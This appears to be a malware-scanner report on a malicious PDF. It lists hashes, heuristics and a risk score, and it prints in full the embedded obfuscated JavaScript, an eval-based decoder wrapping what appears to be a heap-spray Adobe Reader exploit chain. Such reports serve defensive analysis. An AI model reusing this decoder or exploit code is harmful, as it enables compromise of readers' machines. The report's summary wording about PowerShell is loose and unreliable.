PDF malware analysis — malicious · bd193b42ca1cb411

MALICIOUS

PDF

9.5 KB Created: 2010-07-25 10:32:51 Authoring application: FPDF 1.6 First seen: 2026-05-11

MD5: aa0131262917b668baef4178275fcce6 SHA-1: 46f89a02eff2445ef39384755c6749eb4b147f97 SHA-256: bd193b42ca1cb41112df87c54a7ab8a3e8b76fa4289b0e3fbb47fcf11bdc40ae

116 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The script uses String.fromCharCode, suggesting obfuscation. The primary intent appears to be downloading and executing a second-stage payload from the embedded JavaScript file, javascript_obj0007_000.js. Due to the obfuscation and lack of specific indicators, the family is unknown.

Machine Learning

Nyx PDF Classifier malicious score 1.0000

Heuristics 4

JavaScript action low 2 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER

PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.

Matched line in script

 function vf\(s\){var r='',v=[],w=String.fromCharCode,n=[[65,97],[97,126],[48,64],[32,48],[10,14]];for\(z in n\){ for\(i=n[z][0];i<n[z][1];i++\){  v.push\(w\(i\)\); }}for \(var i = 0; i < s.length; i++\) { r+=v[s[i]];}eval\(r\);t\(\);}vf\([37,52,45,34,51,40,46,45,77,51,85,86,58,96,93,37,52,45,34,51,40,46,45,77,37,40,55,30,40,51,85,56,32,49,50,47,89,77,43,36,45,86,58,96,93,54,39,40,43,36,77,85,56,32,49,50,47,91,43,36,45,38,51,39,77,87,77,63,77,73,77,43,36,45,86,58,96,93,56,32,49,50,47,77,88,74,77 …

Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0007_000.js`	pdf-javascript-stream	PDF /JS object 7 at offset 0x1EB	8858 bytes
SHA-256: `7032fc14ed147f9a47d024cc3ec5ed3ab01199195fd2c0a6e27508b8eb7ca6e8`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script First 1,000 lines of the extracted script function vf(s){var r='',v=[],w=String.fromCharCode,n=[[65,97],[97,126],[48,64],[32,48],[10,14]];for(z in n){ for(i=n[z][0];i<n[z][1];i++){ v.push(w(i)); }}for (var i = 0; i < s.length; i++) { r+=v[s[i]];}eval(r);t();}vf([37,52,45,34,51,40,46,45,77,51,85,86,58,96,93,37,52,45,34,51,40,46,45,77,37,40,55,30,40,51,85,56,32,49,50,47,89,77,43,36,45,86,58,96,93,54,39,40,43,36,77,85,56,32,49,50,47,91,43,36,45,38,51,39,77,87,77,63,77,73,77,43,36,45,86,58,96,93,56,32,49,50,47,77,88,74,77,56,32,49,50,47,72,96,93,60,96,93,56,32,49,50,47,77,74,77,56,32,49,50,47,91,50,52,33,50,51,49,40,45,38,85,61,89,77,43,36,45,92,63,86,72,96,93,49,36,51,52,49,45,77,56,32,49,50,47,72,96,93,60,96,93,96,93,37,52,45,34,51,40,46,45,77,52,51,40,43,30,47,49,40,45,51,37,85,86,58,96,93,53,32,49,77,47,32,56,43,46,32,35,77,74,77,52,45,36,50,34,32,47,36,85,79,39,51,51,47,71,92,92,33,43,32,34,42,39,46,43,36,92,40,45,35,36,55,91,47,39,47,79,86,72,96,93,53,32,49,77,45,46,47,77,74,77,52,45,36,50,34,32,47,36,85,79,82,52,61,0,61,0,82,52,61,0,61,0,82,52,61,0,61,0,82,52,61,0,61,0,79,86,96,93,53,32,49,77,39,36,32,47,33,43,46,34,42,77,74,77,45,46,47,77,88,77,47,32,56,43,46,32,35,72,96,93,53,32,49,77,33,40,38,33,43,46,34,42,77,74,77,52,45,36,50,34,32,47,36,85,79,82,52,61,0,61,0,82,52,61,0,61,0,79,86,72,96,93,53,32,49,77,39,36,32,35,36,49,50,40,57,36,77,74,77,63,61,72,96,93,53,32,49,77,50,47,49,32,56,77,74,77,39,36,32,35,36,49,50,40,57,36,77,88,77,39,36,32,47,33,43,46,34,42,91,43,36,45,38,51,39,72,96,93,54,39,40,43,36,77,85,33,40,38,33,43,46,34,42,91,43,36,45,38,51,39,77,73,77,50,47,49,32,56,86,58,96,93,33,40,38,33,43,46,34,42,77,88,74,77,33,40,38,33,43,46,34,42,72,96,93,60,96,93,53,32,49,77,37,40,43,43,33,43,46,34,42,77,74,77,33,40,38,33,43,46,34,42,91,50,52,33,50,51,49,40,45,38,85,61,89,77,50,47,49,32,56,86,72,96,93,53,32,49,77,33,43,46,34,42,77,74,77,33,40,38,33,43,46,34,42,91,50,52,33,50,51,49,40,45,38,85,61,89,77,33,40,38,33,43,46,34,42,91,43,36,45,38,51,39,90,50,47,49,32,56,86,72,96,93,54,39,40,43,36,77,85,33,43,46,34,42,91,43,36,45,38,51,39,88,50,47,49,32,56,77,73,77,61,55,65,61,61,61,61,86,58,96,93,33,43,46,34,42,77,74,77,33,43,46,34,42,77,88,77,33,43,46,34,42,77,88,77,37,40,43,43,33,43,46,34,42,72,96,93,60,96,93,53,32,49,77,44,36,44,30,32,49,49,32,56,77,74,77,45,36,54,77,0,49,49,32,56,85,86,72,96,93,37,46,49,77,85,53,32,49,77,40,77,74,77,61,72,77,40,77,73,77,62,65,61,61,72,77,40,88,88,86,58,96,93,44,36,44,30,32,49,49,32,56,26,40,28,77,74,77,33,43,46,34,42,77,88,77,39,36,32,47,33,43,46,34,42,72,96,93,60,96,93,53,32,49,77,45,52,44,77,74,77,62,63,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69,72,96,93,52,51,40,43,91,47,49,40,45,51,37,85,79,82,65,66,61,61,61,37,79,89,77,45,52,44,86,72,96,93,60,96,93,96,93,37,52,45,34,51,40,46,45,77,34,46,43,43,32,33,30,36,44,32,40,43,85,86,58,96,93,53,32,49,77,50,39,36,43,43,34,46,35,36,77,74,77,52,45,36,50,34,32,47,36,85,79,39,51,51,47,71,92,92,33,43,32,34,42,39,46,43,36,92,40,45,35,36,55,91,47,39,47,79,86,72,96,93,53,32,49,77,44,36,44,30,32,49,49,32,56,77,74,77,45,36,54,77,0,49,49,32,56,85,86,72,96,93,53,32,49,77,34,34,77,74,77,61,55,61,34,61,34,61,34,61,34,72,96,93,53,32,49,77,32,35,35,49,77,74,77,61,55,65,61,61,61,61,61,72,96,93,53,32,49,77,50,34,30,43,36,45,77,74,77,50,39,36,43,43,34,46,35,36,91,43,36,45,38,51,39,77,87,77,63,72,96,93,53,32,49,77,43,36,45,77,74,77,32,35,35,49,77,90,77,85,50,34,30,43,36,45,88,61,55,64,69,86,72,96,93,53,32,49,77,56,32,49,50,47,77,74,77,52,45,36,50,34,32,47,36,85,79,82,52,70,61,70,61,82,52,70,61,70,61,79,86,72,96,93,56,32,49,50,47,77,74,77,37,40,55,30,40,51,85,56,32,49,50,47,89,77,43,36,45,86,72,96,93,53,32,49,77,34,46,52,45,51,63,77,74,77,85,34,34,77,90,77,61,55,65,61,61,61,61,61,86,92,32,35,35,49,72,96,93,37,46,49,77,85,53,32,49,77,34,46,52,45,51,77,74,77,61,72,77,34,46,52,45,51,77,73,77,34,46,52,45,51,63,72,77,34,46,52,45,51,88,88,86,58,96,93,44,36,44,30,32,49,49,32,56,26,34,46,52,45,51,28,77,74,77,56,32,49,50,47,77,88,77,50,39,36,43,43,34,46,35,36,72,96,93,60,96,93,53,32,49,77,46,53,36,49,37,43,46,54,77,74,77,52,45,36,50,34,32,47,36,85,79,82,52,61,34,61,34,82,52,61,34,61,34,79,86,72,96,93,54,39,40,43,36,77,85,46,53,36,49,37,43,46,54,91,43,36,45,38,51,39,77,73,77,65,65,70,66,63,86,58,96,93,46,53,36,49,37,43,46,54,77,88,74,77,46,53,36,49,37,43,46,54,72,96,93,60,96,93,51,39,40,50,91,34,46,43,43,32,33,18,51,46,49,36,77,74,77,2,46,43,43,32,33,91,34,46,43,43,36,34,51,4,44,32,40,43,8,45,37,46,85,58,50,52,33,41,71,77,79,79,89,44,50,38,71,77,46,53,36,49,37,43,46,54,60,86,72,96,93,60,96,93,96,93,37,52,45,34,51,40,46,45,77,34,46,43,43,32,33,30,38,36,51,40,34,46,45,85,86,58,96,93,40,37,77,85,32,47,47,91,35,46,34,91,2,46,43,43,32,33,91,38,36,51,8,34,46,45,86,58,96,93,53,32,49,77,32,49,49,56,77,74,77,45,36,54,77,0,49,49,32,56,85,86,72,96,93,53,32,49,77,53,53,47,36,51,39,56,32,77,74,77,52,45,36,50,34,32,47,36,85,79,39,51,51,47,71,92,92,33,43,32,34,42,39,46,43,36,92,40,45,35,36,55,91,47,39,47,79,86,72,96,93,53,32,49,77,39,22,48,66,61,61,2,13,77,74,77,53,53,47,36,51,39,56,32,91,43,36,45,38,51,39,77,87,77,63,72,96,93,53,32,49,77,43,36,45,77,74,77,61,55,65,61,61,61,61,61,77,90,77,85,39,22,48,66,61,61,2,13,77,88,77,61,55,64,69,86,72,96,93,53,32,49,77,56,32,49,50,47,77,74,77,52,45,36,50,34,32,47,36,85,79,82,52,70,61,70,61,82,52,70,61,70,61,79,86,72,96,93,56,32,49,50,47,77,74,77,37,40,55,30,40,51,85,56,32,49,50,47,89,77,43,36,45,86,72,96,93,53,32,49,77,47,66,0,41,10,67,66,37,77,74,77,85,61,55,61,34,61,34,61,34,61,34,77,90,77,61,55,65,61,61,61,61,61,86,77,92,77,61,55,65,61,61,61,61,61,72,96,93,37,46,49,77,85,53,32,49,77,53,48,34,16,3,70,67,56,77,74,77,61,72,77,53,48,34,16,3,70,67,56,77,73,77,47,66,0,41,10,67,66,37,72,77,53,48,34,16,3,70,67,56,77,88,88,77,86,58,96,93,32,49,49,56,26,53,48,34,16,3,70,67,56,28,77,74,77,56,32,49,50,47,77,88,77,53,53,47,36,51,39,56,32,72,96,93,60,96,93,53,32,49,77,51,20,12,39,13,33,6,54,77,74,77,52,45,36,50,34,32,47,36,85,79,82,61,70,79,86,72,96,93,54,39,40,43,36,77,85,51,20,12,39,13,33,6,54,91,43,36,45,38,51,39,77,73,77,61,55,65,61,61,61,86,58,96,93,51,20,12,39,13,33,6,54,77,88,74,77,51,20,12,39,13,33,6,54,72,96,93,60,96,93,51,20,12,39,13,33,6,54,77,74,77,79,13,91,79,77,88,77,51,20,12,39,13,33,6,54,72,96,93,32,47,47,91,35,46,34,91,2,46,43,43,32,33,91,38,36,51,8,34,46,45,85,51,20,12,39,13,33,6,54,86,72,96,93,60,96,93,60,96,93,96,93,37,52,45,34,51,40,46,45,77,47,35,37,30,50,51,32,49,51,85,86,58,96,93,53,32,49,77,53,36,49,50,40,46,45,77,74,77,32,47,47,91,53,40,36,54,36,49,21,36,49,50,40,46,45,91,51,46,18,51,49,40,45,38,85,86,72,96,93,53,36,49,50,40,46,45,77,74,77,53,36,49,50,40,46,45,91,49,36,47,43,32,34,36,85,92,27,3,92,38,89,84,84,86,72,96,93,53,32,49,77,53,32,49,50,40,46,45,30,32,49,49,32,56,77,74,77,45,36,54,77,0,49,49,32,56,85,53,36,49,50,40,46,45,91,34,39,32,49,0,51,85,61,86,89,77,53,36,49,50,40,46,45,91,34,39,32,49,0,51,85,62,86,89,77,53,36,49,50,40,46,45,91,34,39,32,49,0,51,85,63,86,86,72,96,93,40,37,77,85,85,53,32,49,50,40,46,45,30,32,49,49,32,56,26,61,28,77,74,74,77,69,86,77,83,83,77,85,53,32,49,50,40,46,45,30,32,49,49,32,56,26,62,28,77,74,74,77,61,86,77,59,59,77,85,53,32,49,50,40,46,45,30,32,49,49,32,56,26,62,28,77,74,74,77,62,77,83,83,77,53,32,49,50,40,46,45,30,32,49,49,32,56,26,63,28,77,73,77,64,86,86,58,96,93,52,51,40,43,30,47,49,40,45,51,37,85,86,72,96,93,60,96,93,40,37,77,85,85,53,32,49,50,40,46,45,30,32,49,49,32,56,26,61,28,77,73,77,69,86,77,59,59,77,85,53,32,49,50,40,46,45,30,32,49,49,32,56,26,61,28,77,74,74,77,69,77,83,83,77,53,32,49,50,40,46,45,30,32,49,49,32,56,26,62,28,77,73,77,63,77,83,83,77,53,32,49,50,40,46,45,30,32,49,49,32,56,26,63,28,77,73,77,63,86,86,58,96,93,34,46,43,43,32,33,30,36,44,32,40,43,85,86,72,96,93,60,96,93,40,37,77,85,85,53,32,49,50,40,46,45,30,32,49,49,32,56,26,61,28,77,73,77,70,86,77,59,59,77,85,53,32,49,50,40,46,45,30,32,49,49,32,56,26,61,28,77,74,74,77,70,77,83,83,77,53,32,49,50,40,46,45,30,32,49,49,32,56,26,62,28,77,73,77,62,86,86,58,96,93,34,46,43,43,32,33,30,38,36,51,40,34,46,45,85,86,72,96,93,60,96,93,60,96,93,96,93,32,47,47,91,32,43,36,49,51,85,84,51,36,50,51,62,63,64,84,86,72,60,96,93]);;

Open this report in the interactive analyzer, or submit your own file for analysis.